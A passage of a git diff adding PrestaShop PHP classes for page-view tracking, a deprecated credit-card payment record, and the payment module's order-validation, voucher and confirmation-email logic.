Property of PrestaShop SA +*/ + +class PageCore extends ObjectModel +{ + public $id_page_type; + public $id_object; + + public $name; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'page', + 'primary' => 'id_page', + 'fields' => array( + 'id_page_type' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_object' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + ), + ); + + /** + * @return int Current page ID + */ + public static function getCurrentId() + { + $controller = Dispatcher::getInstance()->getController(); + $page_type_id = Page::getPageTypeByName($controller); + + // Some pages must be distinguished in order to record exactly what is being seen + // @todo dispatcher module + $special_array = array( + 'product' => 'id_product', + 'category' => 'id_category', + 'order' => 'step', + 'manufacturer' => 'id_manufacturer', + ); + + $where = ''; + $insert_data = array( + 'id_page_type' => $page_type_id, + ); + + if (array_key_exists($controller, $special_array)) + { + $object_id = Tools::getValue($special_array[$controller], null); + $where = ' AND `id_object` = '.(int)$object_id; + $insert_data['id_object'] = (int)$object_id; + } + + $sql = 'SELECT `id_page` + FROM `'._DB_PREFIX_.'page` + WHERE `id_page_type` = '.(int)$page_type_id.$where; + $result = Db::getInstance()->getRow($sql); + if ($result['id_page']) + return $result['id_page']; + + Db::getInstance()->insert('page', $insert_data, true); + return Db::getInstance()->Insert_ID(); + } + + /** + * Return page type ID from page name + * + * @param string $name Page name (E.g. product.php) + */ + public static function getPageTypeByName($name) + { + $sql = 'SELECT id_page_type + FROM '._DB_PREFIX_.'page_type + WHERE name = \''.pSQL($name).'\''; + if ($value = Db::getInstance()->getValue($sql)) + return $value; + + Db::getInstance()->insert('page_type', array( + 'name' => $name, + )); + return Db::getInstance()->Insert_ID(); + } + + public static function setPageViewed($id_page) + { + $id_date_range = DateRange::getCurrentRange(); + $context = Context::getContext(); + + // Try to increment the visits counter + $sql = 'UPDATE `'._DB_PREFIX_.'page_viewed` + SET `counter` = `counter` + 1 + WHERE `id_date_range` = '.(int)$id_date_range.' + AND `id_page` = '.(int)$id_page.' + AND `id_shop` = '.(int)$context->shop->id; + Db::getInstance()->execute($sql); + + // If no one has seen the page in this date range, it is added + if (Db::getInstance()->Affected_Rows() == 0) + Db::getInstance()->insert('page_viewed', array( + 'id_date_range' => (int)$id_date_range, + 'id_page' => (int)$id_page, + 'counter' => 1, + 'id_shop' => (int)$context->shop->id, + 'id_shop_group' => (int)$context->shop->id_shop_group, + )); + } +} diff --git a/classes/PaymentCC.php b/classes/PaymentCC.php new file mode 100755 index 0000000..5e258ec --- /dev/null +++ b/classes/PaymentCC.php @@ -0,0 +1,80 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * + * @deprecated 1.5.0.1 + * @see OrderPaymentCore + * + */ +class PaymentCCCore extends OrderPayment +{ + public $id_order; + public $id_currency; + public $amount; + public $transaction_id; + public $card_number; + public $card_brand; + public $card_expiration; + public $card_holder; + public $date_add; + + protected $fieldsRequired = array('id_currency', 'amount'); + protected $fieldsSize = array('transaction_id' => 254, 'card_number' => 254, 'card_brand' => 254, 'card_expiration' => 254, 'card_holder' => 254); + protected $fieldsValidate = array( + 'id_order' => 'isUnsignedId', 'id_currency' => 'isUnsignedId', 'amount' => 'isPrice', + 'transaction_id' => 'isAnything', 'card_number' => 'isAnything', 'card_brand' => 'isAnything', 'card_expiration' => 'isAnything', 'card_holder' => 'isAnything'); + + public static $definition = array( + 'table' => 'payment_cc', + 'primary' => 'id_payment_cc', + ); + + + /** + * @deprecated 1.5.0.2 + * @see OrderPaymentCore + */ + public function add($autodate = true, $nullValues = false) + { + Tools::displayAsDeprecated(); + return parent::add($autodate, $nullValues); + } + + /** + * Get the detailed payment of an order + * @param int $id_order + * @return array + * @deprecated 1.5.0.1 + * @see OrderPaymentCore + */ + public static function getByOrderId($id_order) + { + Tools::displayAsDeprecated(); + $order = new Order($id_order); + return OrderPayment::getByOrderReference($order->reference); + } +} diff --git a/classes/PaymentModule.php b/classes/PaymentModule.php new file mode 100755 index 0000000..6ca728c --- /dev/null +++ b/classes/PaymentModule.php @@ -0,0 +1,827 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class PaymentModuleCore extends Module +{ + /** @var integer Current order's id */ + public $currentOrder; + public $currencies = true; + public $currencies_mode = 'checkbox'; + + public function install() + { + if (!parent::install()) + return false; + + // Insert currencies availability + if ($this->currencies_mode == 'checkbox') + { + if (!$this->addCheckboxCurrencyRestrictionsForModule()) + return false; + } + elseif ($this->currencies_mode == 'radio') + { + if (!$this->addRadioCurrencyRestrictionsForModule()) + return false; + } + else + Tools::displayError('No currency mode for payment module'); + + // Insert countries availability + $return = $this->addCheckboxCountryRestrictionsForModule(); + + return $return; + } + + public function uninstall() + { + if (!Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'module_country` WHERE id_module = '.(int)$this->id) + || !Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'module_currency` WHERE id_module = '.(int)$this->id) + || !Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'module_group` WHERE id_module = '.(int)$this->id)) + return false; + return parent::uninstall(); + } + + + /** + * Add checkbox currency restrictions for a new module + * @param integer id_module + * @param array $shops + */ + public function addCheckboxCurrencyRestrictionsForModule(array $shops = array()) + { + if (!$shops) + $shops = Shop::getShops(true, null, true); + + foreach ($shops as $s) + { + if (!Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'module_currency` (`id_module`, `id_shop`, `id_currency`) + SELECT '.(int)$this->id.', "'.(int)$s.'", `id_currency` FROM `'._DB_PREFIX_.'currency` WHERE deleted = 0')) + return false; + } + return true; + } + + /** + * Add radio currency restrictions for a new module + * @param integer id_module + * @param array $shops + */ + public function addRadioCurrencyRestrictionsForModule(array $shops = array()) + { + if (!$shops) + $shops = Shop::getShops(true, null, true); + + foreach ($shops as $s) + if (!Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'module_currency` (`id_module`, `id_shop`, `id_currency`) + VALUES ('.(int)$this->id.', "'.(int)$s.'", -2)')) + return false; + return true; + } + + /** + * Add checkbox country restrictions for a new module + * @param integer id_module + * @param array $shops + */ + public function addCheckboxCountryRestrictionsForModule(array $shops = array()) + { + $countries = Country::getCountries((int)Context::getContext()->language->id, true); //get only active country + $country_ids = array(); + foreach ($countries as $country) + $country_ids[] = $country['id_country']; + return Country::addModuleRestrictions($shops, $countries, array(array('id_module' => (int)$this->id))); + } + + /** + * Validate an order in database + * Function called from a payment module + * + * @param integer $id_cart Value + * @param integer $id_order_state Value + * @param float $amount_paid Amount really paid by customer (in the default currency) + * @param string $payment_method Payment method (eg. 'Credit card') + * @param string $message Message to attach to order + */ + public function validateOrder($id_cart, $id_order_state, $amount_paid, $payment_method = 'Unknown', + $message = null, $extra_vars = array(), $currency_special = null, $dont_touch_amount = false, + $secure_key = false, Shop $shop = null) + { + $this->context->cart = new Cart($id_cart); + $this->context->customer = new Customer($this->context->cart->id_customer); + $this->context->language = new Language($this->context->cart->id_lang); + $this->context->shop = ($shop ? $shop : new Shop($this->context->cart->id_shop)); + $id_currency = $currency_special ? (int)$currency_special : (int)$this->context->cart->id_currency; + $this->context->currency = new Currency($id_currency, null, $this->context->shop->id); + if (Configuration::get('PS_TAX_ADDRESS_TYPE') == 'id_address_delivery') + $context_country = $this->context->country; + + $order_status = new OrderState((int)$id_order_state, (int)$this->context->language->id); + if (!Validate::isLoadedObject($order_status)) + throw new PrestaShopException('Can\'t load Order state status'); + + if (!$this->active) + die(Tools::displayError()); + // Does order already exists ? + if (Validate::isLoadedObject($this->context->cart) && $this->context->cart->OrderExists() == false) + { + if ($secure_key !== false && $secure_key != $this->context->cart->secure_key) + die(Tools::displayError()); + + // For each package, generate an order + $delivery_option_list = $this->context->cart->getDeliveryOptionList(); + $package_list = $this->context->cart->getPackageList(); + $cart_delivery_option = $this->context->cart->getDeliveryOption(); + + // If some delivery options are not defined, or not valid, use the first valid option + foreach ($delivery_option_list as $id_address => $package) + if (!isset($cart_delivery_option[$id_address]) || !array_key_exists($cart_delivery_option[$id_address], $package)) + foreach ($package as $key => $val) + { + $cart_delivery_option[$id_address] = $key; + break; + } + + $order_list = array(); + $order_detail_list = array(); + $reference = Order::generateReference(); + $this->currentOrderReference = $reference; + + $order_creation_failed = false; + $cart_total_paid = (float)Tools::ps_round((float)$this->context->cart->getOrderTotal(true, Cart::BOTH), 2); + + foreach ($cart_delivery_option as $id_address => $key_carriers) + foreach ($delivery_option_list[$id_address][$key_carriers]['carrier_list'] as $id_carrier => $data) + foreach ($data['package_list'] as $id_package) + { + // Rewrite the id_warehouse + $package_list[$id_address][$id_package]['id_warehouse'] = (int)$this->context->cart->getPackageIdWarehouse($package_list[$id_address][$id_package], (int)$id_carrier); + $package_list[$id_address][$id_package]['id_carrier'] = $id_carrier; + } + // Make sure CarRule caches are empty + CartRule::cleanCache(); + + foreach ($package_list as $id_address => $packageByAddress) + foreach ($packageByAddress as $id_package => $package) + { + $order = new Order(); + $order->product_list = $package['product_list']; + + if (Configuration::get('PS_TAX_ADDRESS_TYPE') == 'id_address_delivery') + { + $address = new Address($id_address); + $this->context->country = new Country($address->id_country, $this->context->cart->id_lang); + } + + $carrier = null; + if (!$this->context->cart->isVirtualCart() && isset($package['id_carrier'])) + { + $carrier = new Carrier($package['id_carrier'], $this->context->cart->id_lang); + $order->id_carrier = (int)$carrier->id; + $id_carrier = (int)$carrier->id; + } + else + { + $order->id_carrier = 0; + $id_carrier = 0; + } + + $order->id_customer = (int)$this->context->cart->id_customer; + $order->id_address_invoice = (int)$this->context->cart->id_address_invoice; + $order->id_address_delivery = (int)$id_address; + $order->id_currency = $this->context->currency->id; + $order->id_lang = (int)$this->context->cart->id_lang; + $order->id_cart = (int)$this->context->cart->id; + $order->reference = $reference; + $order->id_shop = (int)$this->context->shop->id; + $order->id_shop_group = (int)$this->context->shop->id_shop_group; + + $order->secure_key = ($secure_key ? pSQL($secure_key) : pSQL($this->context->customer->secure_key)); + $order->payment = $payment_method; + if (isset($this->name)) + $order->module = $this->name; + $order->recyclable = $this->context->cart->recyclable; + $order->gift = (int)$this->context->cart->gift; + $order->gift_message = $this->context->cart->gift_message; + $order->mobile_theme = $this->context->cart->mobile_theme; + $order->conversion_rate = $this->context->currency->conversion_rate; + $amount_paid = !$dont_touch_amount ? Tools::ps_round((float)$amount_paid, 2) : $amount_paid; + $order->total_paid_real = 0; + + $order->total_products = (float)$this->context->cart->getOrderTotal(false, Cart::ONLY_PRODUCTS, $order->product_list, $id_carrier); + $order->total_products_wt = (float)$this->context->cart->getOrderTotal(true, Cart::ONLY_PRODUCTS, $order->product_list, $id_carrier); + + $order->total_discounts_tax_excl = (float)abs($this->context->cart->getOrderTotal(false, Cart::ONLY_DISCOUNTS, $order->product_list, $id_carrier)); + $order->total_discounts_tax_incl = (float)abs($this->context->cart->getOrderTotal(true, Cart::ONLY_DISCOUNTS, $order->product_list, $id_carrier)); + $order->total_discounts = $order->total_discounts_tax_incl; + + $order->total_shipping_tax_excl = (float)$this->context->cart->getPackageShippingCost((int)$id_carrier, false, null, $order->product_list); + $order->total_shipping_tax_incl = (float)$this->context->cart->getPackageShippingCost((int)$id_carrier, true, null, $order->product_list); + $order->total_shipping = $order->total_shipping_tax_incl; + + if (!is_null($carrier) && Validate::isLoadedObject($carrier)) + $order->carrier_tax_rate = $carrier->getTaxesRate(new Address($this->context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')})); + + $order->total_wrapping_tax_excl = (float)abs($this->context->cart->getOrderTotal(false, Cart::ONLY_WRAPPING, $order->product_list, $id_carrier)); + $order->total_wrapping_tax_incl = (float)abs($this->context->cart->getOrderTotal(true, Cart::ONLY_WRAPPING, $order->product_list, $id_carrier)); + $order->total_wrapping = $order->total_wrapping_tax_incl; + + $order->total_paid_tax_excl = (float)Tools::ps_round((float)$this->context->cart->getOrderTotal(false, Cart::BOTH, $order->product_list, $id_carrier), 2); + $order->total_paid_tax_incl = (float)Tools::ps_round((float)$this->context->cart->getOrderTotal(true, Cart::BOTH, $order->product_list, $id_carrier), 2); + $order->total_paid = $order->total_paid_tax_incl; + + $order->invoice_date = '0000-00-00 00:00:00'; + $order->delivery_date = '0000-00-00 00:00:00'; + + // Creating order + $result = $order->add(); + + if (!$result) + throw new PrestaShopException('Can\'t save Order'); + + // Amount paid by customer is not the right one -> Status = payment error + // We don't use the following condition to avoid the float precision issues : http://www.php.net/manual/en/language.types.float.php + // if ($order->total_paid != $order->total_paid_real) + // We use number_format in order to compare two string + if ($order_status->logable && number_format($cart_total_paid, 2) != number_format($amount_paid, 2)) + $id_order_state = Configuration::get('PS_OS_ERROR'); + + $order_list[] = $order; + + // Insert new Order detail list using cart for the current order + $order_detail = new OrderDetail(null, null, $this->context); + $order_detail->createList($order, $this->context->cart, $id_order_state, $order->product_list, 0, true, $package_list[$id_address][$id_package]['id_warehouse']); + $order_detail_list[] = $order_detail; + + // Adding an entry in order_carrier table + if (!is_null($carrier)) + { + $order_carrier = new OrderCarrier(); + $order_carrier->id_order = (int)$order->id; + $order_carrier->id_carrier = (int)$id_carrier; + $order_carrier->weight = (float)$order->getTotalWeight(); + $order_carrier->shipping_cost_tax_excl = (float)$order->total_shipping_tax_excl; + $order_carrier->shipping_cost_tax_incl = (float)$order->total_shipping_tax_incl; + $order_carrier->add(); + } + } + + // The country can only change if the address used for the calculation is the delivery address, and if multi-shipping is activated + if (Configuration::get('PS_TAX_ADDRESS_TYPE') == 'id_address_delivery') + $this->context->country = $context_country; + + // Register Payment only if the order status validate the order + if ($order_status->logable) + { + // $order is the last order loop in the foreach + // The method addOrderPayment of the class Order make a create a paymentOrder + // linked to the order reference and not to the order id + if (isset($extra_vars['transaction_id'])) + $transaction_id = $extra_vars['transaction_id']; + else + $transaction_id = null; + + if (!$order->addOrderPayment($amount_paid, null, $transaction_id)) + throw new PrestaShopException('Can\'t save Order Payment'); + } + + // Next ! + $only_one_gift = false; + $cart_rule_used = array(); + $products = $this->context->cart->getProducts(); + $cart_rules = $this->context->cart->getCartRules(); + + // Make sure CarRule caches are empty + CartRule::cleanCache(); + + foreach ($order_detail_list as $key => $order_detail) + { + $order = $order_list[$key]; + if (!$order_creation_failed && isset($order->id)) + { + if (!$secure_key) + $message .= '<br />'.Tools::displayError('Warning: the secure key is empty, check your payment account before validation'); + // Optional message to attach to this order + if (isset($message) & !empty($message)) + { + $msg = new Message(); + $message = strip_tags($message, '<br>'); + if (Validate::isCleanHtml($message)) + { + $msg->message = $message; + $msg->id_order = intval($order->id); + $msg->private = 1; + $msg->add(); + } + } + + // Insert new Order detail list using cart for the current order + //$orderDetail = new OrderDetail(null, null, $this->context); + //$orderDetail->createList($order, $this->context->cart, $id_order_state); + + // Construct order detail table for the email + $products_list = ''; + $virtual_product = true; + foreach ($products as $key => $product) + { + $price = Product::getPriceStatic((int)$product['id_product'], false, ($product['id_product_attribute'] ? (int)$product['id_product_attribute'] : null), 6, null, false, true, $product['cart_quantity'], false, (int)$order->id_customer, (int)$order->id_cart, (int)$order->{Configuration::get('PS_TAX_ADDRESS_TYPE')}); + $price_wt = Product::getPriceStatic((int)$product['id_product'], true, ($product['id_product_attribute'] ? (int)$product['id_product_attribute'] : null), 2, null, false, true, $product['cart_quantity'], false, (int)$order->id_customer, (int)$order->id_cart, (int)$order->{Configuration::get('PS_TAX_ADDRESS_TYPE')}); + + $customization_quantity = 0; + $customized_datas = Product::getAllCustomizedDatas((int)$order->id_cart); + if (isset($customized_datas[$product['id_product']][$product['id_product_attribute']])) + { + $customization_text = ''; + foreach ($customized_datas[$product['id_product']][$product['id_product_attribute']][$order->id_address_delivery] as $customization) + { + if (isset($customization['datas'][Product::CUSTOMIZE_TEXTFIELD])) + foreach ($customization['datas'][Product::CUSTOMIZE_TEXTFIELD] as $text) + $customization_text .= $text['name'].': '.$text['value'].'<br />'; + + if (isset($customization['datas'][Product::CUSTOMIZE_FILE])) + $customization_text .= sprintf(Tools::displayError('%d image(s)'), count($customization['datas'][Product::CUSTOMIZE_FILE])).'<br />'; + $customization_text .= '---<br />'; + } + $customization_text = rtrim($customization_text, '---<br />'); + + $customization_quantity = (int)$product['customization_quantity']; + $products_list .= + '<tr style="background-color: '.($key % 2 ? '#DDE2E6' : '#EBECEE').';"> + <td style="padding: 0.6em 0.4em;width: 15%;">'.$product['reference'].'</td> + <td style="padding: 0.6em 0.4em;width: 30%;"><strong>'.$product['name'].(isset($product['attributes']) ? ' - '.$product['attributes'] : '').' - '.Tools::displayError('Customized').(!empty($customization_text) ? ' - '.$customization_text : '').'</strong></td> + <td style="padding: 0.6em 0.4em; width: 20%;">'.Tools::displayPrice(Product::getTaxCalculationMethod() == PS_TAX_EXC ? Tools::ps_round($price, 2) : $price_wt, $this->context->currency, false).'</td> + <td style="padding: 0.6em 0.4em; width: 15%;">'.$customization_quantity.'</td> + <td style="padding: 0.6em 0.4em; width: 20%;">'.Tools::displayPrice($customization_quantity * (Product::getTaxCalculationMethod() == PS_TAX_EXC ? Tools::ps_round($price, 2) : $price_wt), $this->context->currency, false).'</td> + </tr>'; + } + + if (!$customization_quantity || (int)$product['cart_quantity'] > $customization_quantity) + $products_list .= + '<tr style="background-color: '.($key % 2 ? '#DDE2E6' : '#EBECEE').';"> + <td style="padding: 0.6em 0.4em;width: 15%;">'.$product['reference'].'</td> + <td style="padding: 0.6em 0.4em;width: 30%;"><strong>'.$product['name'].(isset($product['attributes']) ? ' - '.$product['attributes'] : '').'</strong></td> + <td style="padding: 0.6em 0.4em; width: 20%;">'.Tools::displayPrice(Product::getTaxCalculationMethod() == PS_TAX_EXC ? Tools::ps_round($price, 2) : $price_wt, $this->context->currency, false).'</td> + <td style="padding: 0.6em 0.4em; width: 15%;">'.((int)$product['cart_quantity'] - $customization_quantity).'</td> + <td style="padding: 0.6em 0.4em; width: 20%;">'.Tools::displayPrice(((int)$product['cart_quantity'] - $customization_quantity) * (Product::getTaxCalculationMethod() == PS_TAX_EXC ? Tools::ps_round($price, 2) : $price_wt), $this->context->currency, false).'</td> + </tr>'; + + // Check if is not a virutal product for the displaying of shipping + if (!$product['is_virtual']) + $virtual_product &= false; + + } // end foreach ($products) + + $cart_rules_list = ''; + foreach ($cart_rules as $cart_rule) + { + $package = array('id_carrier' => $order->id_carrier, 'id_address' => $order->id_address_delivery, 'products' => $order->product_list); + $values = array( + 'tax_incl' => $cart_rule['obj']->getContextualValue(true, $this->context, CartRule::FILTER_ACTION_ALL_NOCAP, $package), + 'tax_excl' => $cart_rule['obj']->getContextualValue(false, $this->context, CartRule::FILTER_ACTION_ALL_NOCAP, $package) + ); + + // If the reduction is not applicable to this order, then continue with the next one + if (!$values['tax_excl']) + continue; + + /* IF + ** - This is not multi-shipping + ** - The value of the voucher is greater than the total of the order + ** - Partial use is allowed + ** - This is an "amount" reduction, not a reduction in % or a gift + ** THEN + ** The voucher is cloned with a new value corresponding to the remainder + */ + if (count($order_list) == 1 && $values['tax_incl'] > $order->total_products_wt && $cart_rule['obj']->partial_use == 1 && $cart_rule['obj']->reduction_amount > 0) + { + // Create a new voucher from the original + $voucher = new CartRule($cart_rule['obj']->id); // We need to instantiate the CartRule without lang parameter to allow saving it + unset($voucher->id); + + // Set a new voucher code + $voucher->code = empty($voucher->code) ? substr(md5($order->id.'-'.$order->id_customer.'-'.$cart_rule['obj']->id), 0, 16) : $voucher->code.'-2'; + if (preg_match('/\-([0-9]{1,2})\-([0-9]{1,2})$/', $voucher->code, $matches) && $matches[1] == $matches[2]) + $voucher->code = preg_replace('/'.$matches[0].'$/', '-'.(intval($matches[1]) + 1), $voucher->code); + + // Set the new voucher value + /* PATCHED + if ($voucher->reduction_tax) + $voucher->reduction_amount = $values['tax_incl'] - $order->total_products_wt - $order->total_shipping_tax_incl; + else + $voucher->reduction_amount = $values['tax_excl'] - $order->total_products - $order->total_shipping_tax_excl; + */ + /* [-] FO : Fixed partial use of cart rules which does not offer free shipping #PSCFV-9216 */ + + if($voucher->free_shipping == 1) + { + if ($voucher->reduction_tax) + $voucher->reduction_amount = $values['tax_incl'] - $order->total_products_wt - $order->total_shipping_tax_incl; + else + $voucher->reduction_amount = $values['tax_excl'] - $order->total_products - $order->total_shipping_tax_excl; + } + else + { + if ($voucher->reduction_tax) + $voucher->reduction_amount = $values['tax_incl'] - $order->total_products_wt; + else + $voucher->reduction_amount = $values['tax_excl'] - $order->total_products; + } + + $voucher->id_customer = $order->id_customer; + $voucher->quantity = 1; + $voucher->quantity_per_user = 1; + $voucher->free_shipping = 0; + if ($voucher->add()) + { + // If the voucher has conditions, they are now copied to the new voucher + CartRule::copyConditions($cart_rule['obj']->id, $voucher->id); + + $params = array( + '{voucher_amount}' => Tools::displayPrice($voucher->reduction_amount, $this->context->currency, false), + '{voucher_num}' => $voucher->code, + '{firstname}' => $this->context->customer->firstname, + '{lastname}' => $this->context->customer->lastname, + '{id_order}' => $order->reference, + '{order_name}' => $order->getUniqReference() + ); + Mail::Send( + (int)$order->id_lang, + 'voucher', + sprintf(Mail::l('New voucher regarding your order %s', (int)$order->id_lang), $order->reference), + $params, + $this->context->customer->email, + $this->context->customer->firstname.' '.$this->context->customer->lastname, + null, null, null, null, _PS_MAIL_DIR_, false, (int)$order->id_shop + ); + } + + $values['tax_incl'] -= $values['tax_incl'] - $order->total_products_wt; + $values['tax_excl'] -= $values['tax_excl'] - $order->total_products; + } + + $order->addCartRule($cart_rule['obj']->id, $cart_rule['obj']->name, $values, 0, $cart_rule['obj']->free_shipping); + + if ($id_order_state != Configuration::get('PS_OS_ERROR') && $id_order_state != Configuration::get('PS_OS_CANCELED') && !in_array($cart_rule['obj']->id, $cart_rule_used)) + { + $cart_rule_used[] = $cart_rule['obj']->id; + + // Create a new instance of Cart Rule without id_lang, in order to update its quantity + $cart_rule_to_update = new CartRule($cart_rule['obj']->id); + $cart_rule_to_update->quantity = max(0, $cart_rule_to_update->quantity - 1); + $cart_rule_to_update->update(); + } + + $cart_rules_list .= ' + <tr> + <td colspan="4" style="padding:0.6em 0.4em;text-align:right">'.Tools::displayError('Voucher name:').' '.$cart_rule['obj']->name.'</td> + <td style="padding:0.6em 0.4em;text-align:right">'.($values['tax_incl'] != 0.00 ? '-' : '').Tools::displayPrice($values['tax_incl'], $this->context->currency, false).'</td> + </tr>'; + } + + // Specify order id for message + $old_message = Message::getMessageByCartId((int)$this->context->cart->id); + if ($old_message) + { + $update_message = new Message((int)$old_message['id_message']); + $update_message->id_order = (int)$order->id; + $update_message->update(); + + // Add this message in the customer thread + $customer_thread = new CustomerThread(); + $customer_thread->id_contact = 0; + $customer_thread->id_customer = (int)$order->id_customer; + $customer_thread->id_shop = (int)$this->context->shop->id; + $customer_thread->id_order = (int)$order->id; + $customer_thread->id_lang = (int)$this->context->language->id; + $customer_thread->email = $this->context->customer->email; + $customer_thread->status = 'open'; + $customer_thread->token = Tools::passwdGen(12); + $customer_thread->add(); + + $customer_message = new CustomerMessage(); + $customer_message->id_customer_thread = $customer_thread->id; + $customer_message->id_employee = 0; + $customer_message->message = $update_message->message; + $customer_message->private = 0; + + if (!$customer_message->add()) + $this->errors[] = Tools::displayError('An error occurred while saving message'); + } + + // Hook validate order + Hook::exec('actionValidateOrder', array( + 'cart' => $this->context->cart, + 'order' => $order, + 'customer' => $this->context->customer, + 'currency' => $this->context->currency, + 'orderStatus' => $order_status + )); + + foreach ($this->context->cart->getProducts() as $product) + if ($order_status->logable) + ProductSale::addProductSale((int)$product['id_product'], (int)$product['cart_quantity']); + + if (Configuration::get('PS_STOCK_MANAGEMENT') && $order_detail->getStockState()) + { + $history = new OrderHistory(); + $history->id_order = (int)$order->id; + $history->changeIdOrderState(Configuration::get('PS_OS_OUTOFSTOCK'), $order, true); + $history->addWithemail(); + } + + // Set order state in order history ONLY even if the "out of stock" status has not been yet reached + // So you migth have two order states + $new_history = new OrderHistory(); + $new_history->id_order = (int)$order->id; + $new_history->changeIdOrderState((int)$id_order_state, $order, true); + $new_history->addWithemail(true, $extra_vars); + + unset($order_detail); + + // Order is reloaded because the status just changed + $order = new Order($order->id); + + // Send an e-mail to customer (one order = one email) + if ($id_order_state != Configuration::get('PS_OS_ERROR') && $id_order_state != Configuration::get('PS_OS_CANCELED') && $this->context->customer->id) + { + $invoice = new Address($order->id_address_invoice); + $delivery = new Address($order->id_address_delivery); + $delivery_state = $delivery->id_state ? new State($delivery->id_state) : false; + $invoice_state = $invoice->id_state ? new State($invoice->id_state) : false; + + $data = array( + '{firstname}' => $this->context->customer->firstname, + '{lastname}' => $this->context->customer->lastname, + '{email}' => $this->context->customer->email, + '{delivery_block_txt}' => $this->_getFormatedAddress($delivery, "\n"), + '{invoice_block_txt}' => $this->_getFormatedAddress($invoice, "\n"), + '{delivery_block_html}' => $this->_getFormatedAddress($delivery, '<br />', array( + 'firstname' => '<span style="font-weight:bold;">%s</span>', + 'lastname' => '<span style="font-weight:bold;">%s</span>' + )), + '{invoice_block_html}' => $this->_getFormatedAddress($invoice, '<br />', array( + 'firstname' => '<span style="font-weight:bold;">%s</span>', + 'lastname' => '<span style="font-weight:bold;">%s</span>' + )), + '{delivery_company}' => $delivery->company, + '{delivery_firstname}' => $delivery->firstname, + '{delivery_lastname}' => $delivery->lastname, + '{delivery_address1}' => $delivery->address1, + '{delivery_address2}' => $delivery->address2, + '{delivery_city}' => $delivery->city, + '{delivery_postal_code}' => $delivery->postcode, + '{delivery_country}' => $delivery->country, + '{delivery_state}' => $delivery->id_state ? $delivery_state->name : '', + '{delivery_phone}' => ($delivery->phone) ? $delivery->phone : $delivery->phone_mobile, + '{delivery_other}' => $delivery->other, + '{invoice_company}' => $invoice->company, + '{invoice_vat_number}' => $invoice->vat_number, + '{invoice_firstname}' => $invoice->firstname, + '{invoice_lastname}' => $invoice->lastname, + '{invoice_address2}' => $invoice->address2, + '{invoice_address1}' => $invoice->address1, + '{invoice_city}' => $invoice->city, + '{invoice_postal_code}' => $invoice->postcode, + '{invoice_country}' => $invoice->country, + '{invoice_state}' => $invoice->id_state ? $invoice_state->name : '', + '{invoice_phone}' => ($invoice->phone) ? $invoice->phone : $invoice->phone_mobile, + '{invoice_other}' => $invoice->other, + '{order_name}' => $order->getUniqReference(), + '{date}' => Tools::displayDate(date('Y-m-d H:i:s'), (int)$order->id_lang, 1), + '{carrier}' => $virtual_product ? Tools::displayError('No carrier') : $carrier->name, + '{payment}' => Tools::substr($order->payment, 0, 32), + '{products}' => $this->formatProductAndVoucherForEmail($products_list), + '{discounts}' => $this->formatProductAndVoucherForEmail($cart_rules_list), + '{total_paid}' => Tools::displayPrice($order->total_paid, $this->context->currency, false), + '{total_products}' => Tools::displayPrice($order->total_paid - $order->total_shipping - $order->total_wrapping + $order->total_discounts, $this->context->currency, false), + '{total_discounts}' => Tools::displayPrice($order->total_discounts, $this->context->currency, false), + '{total_shipping}' => Tools::displayPrice($order->total_shipping, $this->context->currency, false), + '{total_wrapping}' => Tools::displayPrice($order->total_wrapping, $this->context->currency, false)); + + if (is_array($extra_vars)) + $data = array_merge($data, $extra_vars); + + // Join PDF invoice + if ((int)Configuration::get('PS_INVOICE') && $order_status->invoice && $order->invoice_number) + { + $pdf = new PDF($order->getInvoicesCollection(), PDF::TEMPLATE_INVOICE, $this->context->smarty); + $file_attachement['content'] = $pdf->render(false); + $file_attachement['name'] = Configuration::get('PS_INVOICE_PREFIX', (int)$order->id_lang, null, $order->id_shop).sprintf('%06d', $order->invoice_number).'.pdf'; + $file_attachement['mime'] = 'application/pdf'; + } + else + $file_attachement = null; + + if (Validate::isEmail($this->context->customer->email)) + Mail::Send( + (int)$order->id_lang, + 'order_conf', + Mail::l('Order confirmation', (int)$order->id_lang), + $data, + $this->context->customer->email, + $this->context->customer->firstname.' '.$this->context->customer->lastname, + null, + null, + $file_attachement, + null, _PS_MAIL_DIR_, false, (int)$order->id_shop + ); + } + + // updates stock in shops + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $product_list = $order->getProducts(); + foreach ($product_list as $product) + { + // if the available quantities depends on the physical stock + if (StockAvailable::dependsOnStock($product['product_id'])) + { + // synchronizes + StockAvailable::synchronize($product['product_id'], $order->id_shop); + } + } + } + } + else + { + $error = Tools::displayError('Order creation failed'); + Logger::addLog($error, 4, '0000002', 